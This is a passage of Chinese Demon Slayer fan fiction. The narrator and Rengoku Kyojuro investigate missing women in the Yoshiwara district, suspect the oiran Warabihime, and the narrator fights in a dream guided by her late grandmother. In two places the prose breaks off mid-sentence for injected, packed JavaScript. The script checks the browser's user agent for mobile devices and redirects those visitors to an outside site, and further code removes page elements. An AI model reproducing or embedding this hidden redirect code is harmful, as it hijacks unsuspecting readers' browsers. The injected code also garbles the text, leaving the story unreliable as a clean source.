“我拿得稳!”这就是最好的形容词。我都拿得稳,只不过连着数次开枪会让我的虎口震感强烈而失去知觉。说着我扣下扳机,一颗子弹从枪口飞速射出,状态不错,发挥得好极了,子弹扎进先前准备好的靶子上,正中红心。 示范完毕后我把手枪塞给炼狱杏寿郎,并盯着他的动作试图检查,但是他站得笔直,举起手枪的手臂纹丝不动,甚至不必犹豫思考,刚举平的下一秒他就开枪了,肉眼捕捉子弹痕迹时只看到它用高速模糊了一切。同样正中红心。 老实说当时我心里除了赞叹并无别的,毕竟他是炼狱杏寿郎,会做什么都不奇怪。之后几天我带着他去了郊外,有栖川家在附近小有资产,开阔的土地可以供以投掷移动靶或者放飞买来的禽鸟作为打猎的模拟。 但是他一直做得非常好。无论是移动的球体还是振翅的飞鸟,只要他开枪,就必定一击命中。所以很快,杏寿郎就向我表示他已经学成,准备出师。虽然站在老师的角度能够教到如此有天赋的学生该是一种幸运,但是我真的有教他什么吗?这出师速度快得叫我难以适应,为了挽留这个极具天赋的学生,我拿出挚爱的来福枪:“那你试试这个!” 嗯。总之经过这段时间的特训,实在是成果斐然。他的枪法甚至好到让偶然来旁观我们教学的父亲也大力称赞。作为新时代的推进者,父亲甚至主动向杏寿郎表示如果鬼杀队需要,兰德家族会无偿提供最新式的武器。 我倒觉得,父亲不如先让人攻克一下怎么用猩猩绯砂铁和猩猩绯矿石锻造弹壳。 如今的吉原游廓不比最鼎盛的时期,但是也仍有百余家游女屋日日营业。虽然需侦查的范围已经被缩小到仅有三家,但是来前我们有过粗略的打听,其中时任屋与京极屋是现下花街中生意最旺盛的两处,只因他们各自有着一位花魁。而荻本屋中没有盛名在外的花魁,生意稍次些。 这三家花楼距离并不近,倒不如说时任屋的鲤夏当选花魁后,与有着蕨姬花魁的京极屋几乎成了王不见王的态势。 这三处该先去哪里呢? “先去时任屋吧。”杏寿郎拿定主意,我们便朝着时任屋的方向走去。 在时任屋的须磨是第一个失去联络的,我脑海里浮现的只有须磨哭着被槙於教育的样子,那双纯蓝中眼波流转,实在摄取我太多心魂,都没能注意到她的美丽。而从打探到的消息得知,须磨在时任屋隐藏时已经得到花魁的名号,但是近来却“出逃”了。 艺伎出逃往往是个掩盖真相的谎言,大多时候用来掩盖意外暴毙的真相,也有时真有那样的案例,情深义重追随着情郎私奔而去。 我想说些什么。 但人群忽地哄闹起来,不等我发出些什么声音,喧闹的人潮涌动,挤着我踉跄向外围,万幸杏寿郎反应及时,抓住我的手将我护在一侧,我们已经站到人群最外侧。 道路正中被分开,前有两个幼女领路,香风阵阵中踩着高高木屐缓步向前的女子生有极其美丽的容颜,气质温婉过人,敷粉后的脸上带着淡淡的笑意,她乌墨般的长发盘成胜山髻,簪满精致的金银首饰,颜色靓丽的振袖和服是上等的绢缎制作而成,用艳丽衬托出一份独一无二的美。 “那是时任屋的鲤夏花魁。她正要往要招待的客人那里去。”杏寿郎解释道。 她太美丽了,看着不过二十岁,这份美丽本能够出现在世界上任何一个地方,但是当其只能绽放在吉原游廓时,那份花魁道中所带来的惊艳也就与周围垂涎欲滴的男人们的赞叹声显得极其格格不入了。 我有些难过,她来到这里多久了?又还要在这里蹉跎多久?她不能自救,会否有人能救她? 随着鲤夏缓缓走远,人群也随之散开。我们确认方向时才发现距离京极屋更近,便转而先往京极屋去。 京极屋也有一位花魁,名为蕨姬。或许是有鲤夏花魁珠玉在前,我零散的意识便开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613434|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始不断猜想起蕨姬花魁该是怎样一位女子。 达到京极屋后,现实与我的猜想相去甚远。本该生意极佳的京极屋中艺伎却不多,寥寥几人并非不美丽,只是气氛略显低迷,与周边几座游女屋相比,一股难言的阴郁正牢牢笼罩着此间。 我与杏寿郎一同踏进大门。前来花街若非是为了查探是否隐藏有鬼,想必从家长那里争取到同意也不容易。 只是有了宇髓的三位妻子失踪的前提,与家中说完缘由,又有杏寿郎陪同,便是母亲也稍稍放松了担忧,同意让我出门了。只是在出发前特意叮嘱嘉泽乐为我换上男装,做些伪装,安全起见至少别以女子的身份明目张胆地进去。 事发突然,这身和服是肖恩紧急去成衣铺取来的。嘉泽乐有些隐藏身份的独门技巧,在此之前我全然不知,她动作熟练地为我缠裹住胸部,将对于男子而言过长的黑发梳成利落的马尾,又取出比我肤色深上些许的膏体在我脸上、颈上,还有手上涂抹起来。 我只得任她摆弄着那些颜色不一的妆品,用毛刷在我脸上不断勾勒线条与形状,修饰出更硬挺的五官。 喉结该怎么办?我指着这个致命的不同之处。 嘉泽乐丝毫不在意,变魔术似的取出一盒软泥,抠出一块,在指尖快速□□出喉结自然起伏的弧度,径直贴到我的脖子上。冰凉的、柔软的触感,近似更柔软的面团,延展性极佳地贴附着我的皮肤,没什么存在感。 多亏了嘉泽乐那出神入化的手艺,帮我躲过京极屋老板娘的注视。她笑意吟吟地招呼着我们,目光如炬地不断打量着杏寿郎。我猜炼狱杏寿郎这样的年轻男子一定是他们的目标客户,样貌英俊或者挥金如土,这是如今最能吸引人的两个品质。 有了炎柱大人在我身边负责“样貌英俊”,我时刻准备着“挥金如土”。 老板娘一眼看出我是初次光临花街,热情地带着我们走向二楼,向我介绍起店里空闲的姑娘,我将目光从她们身上一一掠过,状似无意地询问起蕨姬花魁。 仅是这名字出现的那一刹那,老板娘的表情就瞬时将喜怒哀乐变化了个全,她低垂着眼,那是用来思考借口掩饰真相的前奏,她的下一句话该是无关紧要的谎言。 “哎呀——蕨姬花魁她呀……今天身体不适呢。”她嘴角勾起的弧度僵硬无比,假笑快要不能伪装了,本该是人精的老板娘却在这会儿露出这么大的破绽。京极屋究竟发生了什么?与那位蕨姬花魁也有关吗? 直觉告诉我应该保持警惕,我笑着想从袖中取出一张大额的纸币递给老板娘。但是在我做出动作前,大门口传来小厮的呼唤,老板娘歉意地差人带我们去和室品茶,转身着急地跑下楼去。 临街的和室开有阑窗,推开糊着裱纸的窗户,我与杏寿郎望下一楼时竟然看见一个熟悉的人……不对,好像是两个? 穿着和服、散着头发、放肆散发自己魅力的宇髄天元双手抱胸地说着什么,而他身边站着的那个……脸蛋被涂成死白,腮红打得极重,穿着三角花纹黄色和服的……金黄色的短发在头顶艰难扎出两个小辫的……那可以被称之为少女吗?那个真的不是善逸吗?! 我瞠目结舌地望着他们,心绪波荡,不是很能够接受……啊!宇髓先生说要去蝶屋寻找帮助,炭治郎他们三个没事的时候的确把蝶屋当成家——我悟了!所以宇髓先生其实不是要去找小忍帮忙,而是找炭治郎他们来帮忙吗?还是以男扮女装混进花楼的办法! 杏寿郎也正在笑,过后凑近我耳畔说要下去找宇髓说件事,让我稍微等他一会儿。我点点头,看着他离开后才再次望向宇髓他们,但是眼睛只要接触到善逸那惨不忍睹的造型,我就替大脑感到抽痛,只能闭紧双眼。 再睁开时什么也没改变,宇髓先生正笑着拍打善逸的脑袋,连哄带骗地让老板娘收下了他。 一楼短暂地寂静了会儿,很快便响起一阵三味线的声音。弹奏着技艺精湛,乐章中自有其情感。但一声响过后,没过太久,又一阵三味线的乐声响起,与前面那曲分毫不差,但是随着每一个蹦出琴弦的音符而传达出的情绪却更加激昂。 我忍不住向屋外走去,至少靠在门口倾听。 京极屋的二楼如此静谧,一个个亮着灯的和室内似乎皆空无一人,残留的只有我的呼吸。从灵魂深处卷出的紧张感骤然降临,我咬紧牙关,头颅却被无法自控的力量转向走廊深处——一双颜色昳丽的眼睛。美丽在其虹膜显影,勾出一个曼妙的身形。 她一步一步走出,逐渐走进我的视线。灯光中我眼前愈发清晰,但是一切皆不敌她美到堪称诡魅的脸——仿佛神造。 木屐落地的声音极轻,甚至不及她身穿的和服拖摆逶迤过席面。 “哦?”她这时才发现我的存在,用那双斑斓的眼睛上上下下扫过我的周身,被什么盯上的感觉让我分外不适,只能垂下眼睛躲开她的视线。 “男人……?”她面无表情地又走近一步,下压的声线里不耐烦不藏不掖。 从后背逐渐沿着一节一节脊椎抓向我脖颈的凉意已经到了忍耐的极点,顺便带动我的心跳声一阵擂鼓。我抬头直视她,伸手摸向羽织内袋中藏着的手枪。 “朝和。”杏寿郎在我准备摸出枪时及时赶来,他走近我们,“抱歉。”炼狱杏寿郎的声音听着有些压抑,他的注意力都在我身上,一定是看出了我摸枪的动作,于是直接伸手拉过我的手腕,“我和我朋友要离开了。你有什么事吗?” 那个女人一瞬间变了表情,此刻正是一个温柔爱笑的女人热情地向我们道别,因笑容而弯起的双眸藏住她炫彩的双眼,眼尾晕开的玫红更像将要垂落的泪悬挂着。“欢迎下次再来。”她柔声道,有些惺惺作态。 这毛骨悚然到叫我想要抓着炼狱杏寿郎快点离开这里。 纵使不知道她是谁,但步步紧逼的危机感在这一刹那连通我的全部思维,而属于她的名字跃然脑海——蕨姬。 37. 华盖 蕨姬的资料被人送来时,父母结伴外出参加宴会,而我正和外祖父在饮茶。 外祖父精通中国茶道,但那是在来到日本——又或者该说是认识外祖母之后才学成的。洗刷抹茶的工作在有栖川家不得人心,据说外祖母宁肯喝市场上售价低廉的散装茶叶,也懒得重复一整套日式点茶的流程。 依然是顾渚紫笋,茶香四溢在整间和室中,但我也只能在接过茶杯后浅浅饮下一口,就再次失去进食的欲望。 那天……被一种难以描述的毛骨悚然感逼着落荒而逃的我,夜里回去后再次陷入一个漫长的噩梦。 我梦见自己行走在一条长长的、似乎永远走不到尽头的街道上,石板铺就的路面干燥而宽阔,道路两侧紧挨着建起的日式木制和屋皆是两层高,飞檐翘角下悬挂的和纸灯笼正在风中摇动,无论我想往哪侧跑——前方也罢、后方也罢,或者左右两侧试图去够和屋的墙壁,那些景色永远在比我所处位置更远一些的地方…… 再近一点就可以碰到了、再近一点就可以到达了、再近一点……但它们永远那么遥远,哪怕我已经在道路上狂奔起来,将所有一切甩到身后,而前方,精致的和屋仍在矗立着。 直到我感觉自己已经筋疲力尽,时间不知过去了多久,我仓皇地停住脚步张望四周,空无一人的街道上寂静得只有我的喘息声。 而正前,那座熟悉的、帷幔飘摇的木制和屋,幽灵般突然出现。从视觉上它站得极近,栏杆、竖柱、窗棂、屋盖,那些结构紧实而美丽的部分显得无比虚幻,飘摇不定的火焰早已覆盖全部的存在,替代为唯一的筑材,燎动的火焰向上升腾,描绘着和屋精美的样子。 我没有感受到温度,也毫无情绪的波动,只是怔怔地看着,直到大火将漫天染出瑰丽的火影,徒留下木屋漆黑的骨架。 醒来时怅惘如潮水涨起,我想起梦中那座燃烧的和屋正是昨天去过的“京极屋”。 梦自有其存在的道理,所以当我第一次看到关于蕨姬更详细的调查资料时只觉得失望。 没人知道她曾经的名字,只知道几年前她被一个男人卖到了京极屋,而她来到京极屋后便只剩下蕨姬这个名字。 凭借那惊人的美貌,还有她精湛绝伦的技艺,甫一进入京极屋,鸨母就视她为珍宝。她也果然不出所料,在短时间内成为花魁、惊艳四座,夜夜引得名流巨贾为她一掷千金,将京极屋迅速变作整个吉原游廓最负盛名的游女屋。 而且,这些年来,偌大的吉原,再没有一个艺伎能在外貌上胜过她,她长久地成为吉原最火热的花魁。 这简单的生平毫无要点,任谁来看都发现不了什么。 烦躁让我放下纸张放眼屋外,庭院中那棵染井吉野樱几乎开败了,原本呈现绯红的嫩叶也逐渐抽长,春天早已是强弩之末。 “小姐,还有一件事想要告知。”肖恩看着我烦闷的表情,言辞谨慎地开口道,“在调查中蕨姬花魁的时候,我一同调查了京极屋。” “哦?”我想起那天感受到的笼罩在京极屋的奇怪气氛,“发现什么了吗?” 肖恩点头:“是的。三天前的夜里,京极屋的老板娘三津意外从京极屋楼上掉了下来,摔死了。” ——什么?所以店内的低气压是因为老板娘的意外死亡?“但是,京极屋只有二楼,和屋不比城堡,楼高并不突出,即使是意外从二楼窗口跌落,也不应该会直接摔死吧?” 肖恩垂着眼睛,眼观鼻鼻观心,一副很坦诚的样子:“但结果如此。不过三津摔死前并没有任何人看到她是如何跌出的。” 仔细思考这件事,就会发现老板娘的死亡存在漏洞,在至高五米处的地方坠落,除非老板娘直接头部最先触地,不然不太可能直接死亡不是吗? 更何况是吉原的夜里,跌落窗口前即使没有抓住窗棂,也该滚过一楼的屋檐,那时因为紧急而发出的求救声难道传达不到行走在道路上的行人或二楼其他的艺伎的耳中吗? 竟然就这样简简单单地摔死了,而且没有一个目击者…… “老板娘出事前做了什么?”我追问肖恩,他绝对藏了话。我跟着杏寿郎一起去花街没有带上他后,因为回来时我的状态过差,他一直认为是自己的失职。不知是得到了谁的授意,最近两天大有一种杜绝我接触危险的严格管理。 “肖恩?”天哪,他装哑巴的功底是跟谁学的?我悄悄用余光瞥向外祖父,他正神情淡淡地饮着茶,对此不关心似的。 “是。”他眼睛眨也不眨,却始终只是垂向地面,而并不看向我。 “回答我。”我真该生气了。答案就在咫尺之间,我却够不到解题的思路。 “……我在前往吉原实地勘察地形时,从京极屋的一个杂役那里打听到,据说三津出事前怒气冲冲地去了蕨姬的房间。但是事发后蕨姬却矢口否认三津来找过她。” 他比画了个手势表达自己是如何从杂役那里打听到消息的,“而且,那个杂役还说,近来京极屋内的游女经常受伤,连‘私逃’的人也变多了。虽然那个杂役支支吾吾的,但是应该与蕨姬花魁有关。” 怪不得他今天回来得这样晚,身上还染着一股淡淡的香味。 如果三津真的在死前找过蕨姬,那么问题果然出在蕨姬啊。 如果……如果蕨姬是鬼的话,她完全可以用花街原本就高得出奇的游女死亡率作为自己吃人的掩护。吉原日日都有新的可怜女子被卖进花楼,也夜夜都有旧的生命消损。经年累月,落进鬼胃灶中的游女又该有多少人呢? 这个认知让我心惊不已。 外祖父放下茶杯,杯底落在桌面上轻轻地响。他原本耷拉着的眼皮掀起,略显浑浊的浅色眼珠转了转,又凝回正在晃动的水面,那里头正投映出他的倒影。“你外祖母在世的时候,曾经也去花街调查过。”他忽然说道。 “真的吗?” 他看向挂在墙上的外祖母画像,工笔描绘出的女人正无声地注视我们,她的故事完结在许久之前,而流传下来的只有外祖父和我的母亲。 外祖父的声音带有一丝干哑,这让他的话语不觉熏上历史流过般苍老的痕迹:“吉原有过这样一个花魁,名为屋珠姬,长相异常美丽,性格却也异常残暴,她不顺心时会歪头瞪视别人,对身边的新造动辄打骂,甚至有被虐待致死的。但是她太美丽了,即使是天皇陛下都会微服前来,游女屋的鸨母便只能一直为她遮掩。” 我想说些什么,至少将蕨姬代入其中,又或者根据这线索分析一番,然而悲凉的情绪已经从语言中传达至我的脑海。 后来发生了什么?外祖父并没有接着说下去,再次开口时他衔接的内容已经过渡:“你的外祖母曾作为调查人员潜入查探过,没人知道她经历了什么,逃出吉原时满身的伤。” “外祖母曾和那个名为屋珠姬的鬼战斗过吗?”我问道。 “或许吧。后来鬼杀队派来了一位柱。”外祖父闭上眼,他想到的究竟是什么?是外祖母的伤口中流出的血染红他的视线,还是故事的结局让他无法继续。 “战斗持续了一夜?”他自己也不太确定,那的确是太久之前的事了,再次回忆这个艰涩的话题,只让他无意识地抿着唇试图不让干裂的皮肤阻碍那些回忆流出,“不等天亮起,吉原燃起大火,烧了一整天,数不清的生命与建筑消失在那场火里。” 这故事让我想起那个梦,梦中燃烧的京极屋正在我的脑海中崩坍:“那么,那么柱大人呢?” 外祖父叹了一声:“牺牲了。屋珠姬也消失了。重建后的吉原许久没有这样的花魁出现。” 但那已经是很久之前的事了。 我立刻站起身,告别前在外祖父颊侧亲了下就急匆匆地告退。数十年前屋珠姬消失了,但现在蕨姬出现了,如果她们真的是同一个人,那么她的存在或许有可能会是上弦之鬼,决不能被轻视。我得快点去告诉杏寿郎和宇髓先生! 今日我一直在家休息,只穿着一身休闲的衣裤,但是事态紧急,也顾不上再去更衣伪装。只是出门前,心底隐隐泛滥的不安勒令我回到卧室拿上日轮刀——只有当我握上它的时候,沉甸甸的存在感才能稍稍减弱内心躁动的不安。 不过还不等我坐上车,就在门口遇到赶来的杏寿郎。他是来找我的,而他不带笑意、略显凝重的面色正向我预告不妙极了。 “杏寿郎!”我跑向他,“发生什么事了?” “朝和,我现在要去花街一趟。”他开门见山,“宇髓刚才告诉我,黄发少年失踪了。” “善逸?!”善逸就在京极屋,蕨姬所在的店内,这意料之外的事件却在我得知花街的往事后惊觉发生得如此顺理成章。我将杏寿郎拉到车里,嘱咐肖恩开车去花街,将刚才肖恩和外祖父所说的消息一股脑儿地告诉他。 金色的猫头鹰正在沉思,这会儿接近黄昏,快到所谓百鬼逢魔的时刻。而逢魔之时并不可怕,可怕的是紧随其后的暗沉黑夜。我将车上准备的弹药补给分成两份,并把手枪装填完毕,一份递给杏寿郎。 “宇髓已经让鎹鸦传信给伊黑,但是从他那里赶过来或许还要些时间。”杏寿郎接过手枪和子弹,但是转而又握住我的手,他认真道,“如果蕨姬真的是上弦之鬼,那么花街就太危险了。朝和,你去接应伊黑……” 我闻言严肃点头,改口道:“嗯,肖恩会去的。” 杏寿郎的话没能脱口而出,因为在我们四目相对中,他已然看出我的决定——无论如何我都会跟着他一起进入花街,他不可能摆脱我。 “那太危险了。”他重复道。但我想更多是为了说服他自己。 我以更大的力气回握他的手,毫不犹豫地表达我的坚定:“我和你一起。” 有时候危险的存在并不意味着什么,只因为我们走下去就必须翻过这座山。炼狱杏寿郎让我保证在遇到危险时最先注意自己的安危,遇到意外不要冒进,并且不要一个人行动。为安抚下他的紧张,我一一答应了,这时我才注意到他的右手正握在日轮刀刀柄上,不断重复收紧的动作——他受伤后日轮刀一直没有重铸,今天出来临时借用了千寿郎的。 但那毕竟不是为他而铸造的适合炎之呼吸的刀,银白的、不曾变色的刀刃在使用时威力会大打折扣。若是现在适合他的日轮刀存在,或许他所担心的不会是我的安危,但正是因为没有,我才不能让他贸然一人进入,至少…… 京极先生在这段时间里与宇髓先生疯狂“互通有无”,在忍具中得到无数灵感研发出最新款的烟雾弹,投掷出后会炸出满是紫藤花粉末的烟雾,还带有一定爆破能力。我把装有这些烟雾弹的荷包系紧带好。 肖恩没有顾及花街入口的门楼,视那禁入的指示为无物,径直将车开进吉原之中。他在大不列颠时也常这样行事,但是比起常年跟随在父亲身边的保镖来说,肖恩的作风要保守许多。道路两侧还未开业的一座座花楼都没亮灯,正有侍从勾下挂着的灯笼更换其中的蜡烛,没有一个年轻美丽的面庞出现,仿佛在这一刻所有女人都被吞噬殆尽。 车停稳在荻本屋的门口,这是杏寿郎指示的。荻本屋近两年生意不佳,店内又久未有能够支撑生意的花魁存在,地理位置稍偏,远离时任屋和京极屋——只要远离京极屋就约等于远离危险,非常符合肖恩的保护原则,于是他照做了。 我跟着杏寿郎跳下车,不等关上车门,我又折返回来,当然没给肖恩再说些“君子不近危”的泄气话的机会,“肖恩,你去接应蛇柱大人。” 肖恩忍不住想说些什么,他当然忍不住,也确有满腹的意见想要表达,但我在他发出声音前快速打断,接着说道:“听着,肖,如果你能尽快将蛇柱大人带来花街,那么我就会安全了。” “听清楚我的命令,然后去执行。肖恩,这事我只能托付给你了!”我向来不在家里摆什么大小姐的架势,大概是父母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“或许伊之助是和炭治郎汇合去了吧,他们已经知道善逸失踪了吗?”我推测道。 杏寿郎点点头,“宇髓已经让他们撤退了,但是那两个少年一定不会这么做的。” 我走到边上推开窗户,太阳还悬挂在天边,光辉依然曜目,将窗口这一方地面投射下橙黄。我就在那方橙黄中坐下,看向杏寿郎:“你先去找宇髓先生汇合吧!我就在这里等一会儿伊之助他们,如果真的要战斗,看看待会儿能不能疏散一下人群。” 炼狱杏寿郎在动摇,他的原则不会允许他扔下我单独一个人离开,但是,我着实跟不上他们奔跑的速度,无论在找人还是战斗上,这种层面的战斗我的存在只会影响到他们发挥而已。 “快去吧,”我催促他,“在太阳落山之前回来找我,好吗?” 衣裳上浆洗过的香味盈来,炼狱杏寿郎把我归进自己的怀抱,他收紧在我背后的双臂如同火流,紧紧缠裹着我。而洒落在我们身上的阳光仍然是温暖的,白日不会再刹那间结束。我闭上眼,沉浸在这一刻安静的温暖中。他不只属于我,我同样拥抱住他,在心里默默祝愿一切顺利。 “等我回来。”离开前他在我额上吻了一下。没再留恋,迅速从窗外翻身离开了。 我将日轮刀放置在腿上。 无论是须磨、槙於还是雏鹤,都是非常美丽的女子。她们的相继失踪如果不只是暴露身份那么简单…… 一个人静静坐在这间华丽的和室内,寂静便构成思考的主题音,许多凌乱的消息纷至沓来,我不断分析着如今的状况,综合所有信息,那位蕨姬是鬼的概率极高。如果她是鬼,那么须磨她们的失踪或许正是因为美丽。 她是一个挑剔的“美食家”,只爱好年轻貌美的“食物”,一想到她菜单上的皆是同类,为须磨她们悬着的心便更担忧了。我甚至也担心起伊之助的情况,那孩子虽然是男性,但是却有一张雌雄莫辨的美丽脸庞,他久久未归,究竟是和炭治郎有别的布局,还是已经…… 情绪让我有些坐不住,到了想站起来走动片刻的时候,太阳这才藏进地平线下一小半,光线没有收束,最后的余光毫无保留地投向我们。 我打量起伊之助的房间,或许是潜意识中对伊之助他们的信任蒙蔽了我的感官,在发现竹席边露出一角的桃粉色绸带时,我有些好奇地走上前查看。难道这是伊之助用来扮成女装的装饰物么? ……伸手向那被无情弃置在一旁的布料前,警惕心及时出现挽留了我。我拔出日轮刀,小心翼翼地用刀背挑出绸带的全貌。似乎是一根一米多长的桃粉色绸带,编席下还压着部分,用料华贵极了,蜂巢状的纹样打底,上面交错有橘色横纹与黑色四角花纹。与这个……过于华丽的房间相比,倒是显得非常合适。 但怎么看,也只是一段绸带罢了? 我深深凝目不断思索时,和室的门被轻轻敲响。 “客人,请问我现在可以进来吗?”是一个温柔的女声,不熟悉,或许是荻本屋的艺伎吧。 “有什么事吗?”那根桃粉色的绸带并没有什么特别的,悬挂在我的日轮刀上,因为我提起刀刃的动作而轻晃,像极了无风时无能为力的鲤鱼旗。真奇怪,我的警惕感究竟从何而来? 门外那个艺伎恭敬地回复说为我送来一些点心。“稍等。”我将衣带轻飘飘地扔到一边,挽出一个利落的刀花到刀收回鞘中——为了避免刀刃的存在惊扰到普通人才收起武器,这该是我做的最后悔的决定——在我开口叫那艺伎进来前,一股突如其来的风卷进屋内,吹起我散落的长发,而视野中所有光景骤然暗了下去。 猛地回头,看向窗口时,我却只见到紧闭的窗户前一片波动着的、扩张的桃粉色! 意识彻底陷入黑暗前,我终于想起,昨天那毫无准备的会面,那个美得出奇的女人,蕨姬,她那华丽无比的腰带结正是由那绸带制成! 38. 酣梦 我想不起来…… 有很多事是怎么发生的我现在完全想不起来,只记得我曾经掀起一片垂坠的紫藤花海,和服薄柿色的振袖蔓延成前景金黄的火。 那场火没有熄灭,时隔许久,现在又悠然降临在我的面前。 我观看着面前展现的盛景,那座雕梁画栋的精美花楼、二层的木质建筑上紧闭的木窗、惨白的灯笼,还有什么? 其余什么也没有,仅剩下这座孤零零的花楼正在火焰中死去,那些木构件在高温中甚至不曾发出痛苦难耐的嘶吼,只是坚韧地矗立着,等待盛极的火焰将它彻底焚毁。 我看着京极屋逐渐被火焰熏成漆黑的木梁,皲裂层层叠叠堆满,然而它的存在无比渺小,如同相框中的凝滞的一个造景。 而我仅能失神地注视着,连转动一下眼睛都做不到。 “我曾经见过她。” 见过谁? 当这个熟悉的冷静声音在我耳旁轻声絮语,没来由的安心让我的意识挣脱浴火的花楼,随即我明白过来,声音的主人是外祖母。在曾经的一个梦境中我见过她,她保有年轻时的样子,认真地向我发问。而现在这声音再次出现。 “在吉原的一座游女屋里,她是当时最炙手可热的花魁,所有男人都为她而来——一点也不奇怪,因为她的美貌仅是惊鸿一瞥就能摄人心魄;当她轻轻在你耳旁吐气——如果你是男人,就该彻底失去意识了。” 她语气平常地描述着曾见过的景象,万众瞩目中仪仗规整缓缓而来,正中的花魁有着美丽绝伦的皮相,比画像中、旁人口述中,甚至自己想象中的更加美丽。 但这宛若神赐的容貌没能让她升起观赏的欲望,只是在那双非人的眼瞳中看到正繁茂生长的欲望,像极了菟丝子的藤蔓已经在阴翳中积累出足以绞死巨树的能量。 谁是她的树?谁是她的猎物? 那些恩客都活着,且每个夜里都诚挚地准备为她奉上一切。 有栖川妍瑰曾看着逐渐被人流包围着走远的背影,被厚重的和服包裹也难掩其妖娆。那时她还不明真相,不知道该握紧自己羽织下藏着的刀。 “朝和!”她这样突然叫出我的名字,将我的思维凝聚在那句话的末尾,“握住你的日轮刀。” 女人的声音中蕴含着一股力量,她温柔且坚定的态度从我脑海中波动的文字清晰传递而来,直到她的话说完,或许破开鸿蒙的一点灵犀也是这样闪现,而我蒙受赐福,这时才想起自己原本随身携带着日轮刀——但是它现在在哪儿? 随之涌来的念头越来越密集,我发现自己不能把思维从那燎烧的景象中拔出,除此之外在黑暗中一无视觉,我想去触摸,但我无法伸出手……我的四肢呢?它们又俱在何处? “我……我找不到……不行,我做不到!”慌乱正在编织,在黑暗中经纬线不断行走,刻画出扭曲的图案,我试图寻觅自己,然而感官尽失。 “朝和。”她的语气听起来严肃了些,念出我的名字时重音放在末尾——她当然没有真的这样亲口称呼我,即使早在那么久之前她真想过要为以后的我取上朝和这个名字,那我也从未真切地听过她的声音——但并非发怒,我能够感受到她的情绪,与我激荡的慌乱不同,她认真地指正道:“别说做不到,你是有栖川家的女儿。朝和!握住你的刀!” 一双明明感受不到温度但存在感异常明确的臂弯已在无形中环抱住我,她先是按在我的肩头,再沿着我手臂所在的方向下滑,随着她指尖的移动,顺着流淌的生机让我重新感受到自己肢体的存在,我仿佛挣脱美杜莎魔眼的诅咒,从逼近死亡的石化中醒来。 她的手掌正贴在我的手背,手把手帮助我握住日轮刀——在我小时候,那真是很小的时候,我才能走稳几步路,个子尚且没有一刀之高,母亲就已经这样手把手教导我。 她总是蹲在我身后,轻轻环抱住我,用温暖有力的双臂帮助我端正地举起木刀,那还是我第一次学习怎么持刀——是的,母亲也曾向我娓娓道来,在她年幼的时候,外祖母也是这样教导她,手把手告诉她要怎样使用自己的力量,要怎样在战斗中运用自己的四肢,要怎样控制这柄木刀、这柄日轮刀。 我再次回到了那时。 耐心仔细陪伴在我身后的人这次并非是母亲。 “闭上眼。”她仿佛正将我护在怀抱,“朝和,现在这里什么也没有,只有我们……只有你。” 这儿的确什么都没有,即使我已经触摸到我的日轮刀,将它握在手中,但双眼所能看到的,除了那座燃烧的木楼之外,一无所有。 即使我自己也并不“存在”。 一切就在我握住刀的瞬间,原本我与京极屋的所在瞬时调换,我眼睁睁看着它变得无比宏伟,甚至近在咫尺,高耸的檐角几乎耸入云天,而那蓬勃的火焰也为此喧嚣、无端炸开,无比近地向我烧来。 我的下肢仍在僵硬之中,无法动弹,连试图转身躲开的资格都不具备。内心本能的恐惧让我只敢看着,就这么看着那火舌快要烧到我的双眼。 “闭上眼!” 我随着她的呼声照做。 现在的漆黑是我的视觉带来的,没有白天黑夜,没有京极屋与日轮刀,更没有她和我,在那薄薄的眼皮之下,我的意识重获自由。 “现在平静下来。深呼吸。朝和,忘记你刚才看到的、经历的一切吧,把更早些时候所经历的一并忘了也无妨。你只需要记住你是自由的……这很难懂,但没关系,我会告诉你。” 我深深地吐出一口气。在浑浊的气息彻底远离我的身体时,我已经忘了一切。 原来忘记一切时内心并没有惊慌失措,也或许只是她用她的声音安抚了我,告诉我失去那些也没有关系,那并不重要,重要的是我现在正专注于自己、专注于我的双手,以及我手中的日轮刀。 我能清晰地感觉到它的存在,因为它正竖立在我手中,交握在剑柄之上的双手用触觉描绘出一圈圈紧紧缠裹住的棉布,正顶着我指尖的金属刀镡,外祖母的刀镡没做多么花哨的款式,只是有栖川家家纹的变体,她每天带着这柄刀外出,仿佛把家族的荣耀也携带在手中。再往上呢?锋利的刀刃保养得当、削铁如泥,它正在等待。 它正在黑暗中静静潜伏,伺机而动。 “注意你的呼吸:当你呼进一口气时,可以感受到它的温度。它正从你的鼻腔顺着气管流进身体、流向各处。多试几次,你了解你自己,你能控制自己的身体,你知道自己需要什么。没有人比你更懂你。”她仍然圈着我,辅助我握住日轮刀。 “感受你呼吸的节奏,你控制四肢的力量应该随着每一次呼吸遍布全身,不要着急,从韵律中掌握,慢慢地——” 我不确定自己是否真的明白了她口中所说的,但我始终没有分心,一切外物并不存在也毫无影响,我的呼吸自有节奏,并且随着这股节奏律动过全身,我能逐渐感应到下肢的存在。 一种相当奇妙的状态出现在我的身体上,我的身体不只有一个心脏,在我四肢之上仿佛各有一个供给生命活动的脏器,它们与心脏并存,同律脉动,一起听从于意识的主张。 她含着笑意,“现在你可以想起来了,朝和,你是怎样出击的?” 我是怎样出击的? 甚至不必刻意去回忆,身体已经自觉摆出进攻的架势。我在哪里学到过这样的剑招,但此刻我已经忘却了,颠覆的意识海中仅残留着一抹赤金的身影,他曾悉心教授我如何应对这些招式,即使彼时的我只能照猫画虎地描出粗糙的轮廓。 源源不断的力量从呼吸中向身体各处供给,大脑与身体保持着奇异的同调。这次,不必任何人的教导,在意识捕捉到了一瞬间的凝滞后,潜意识带动身体,我已经劈刀砍出! 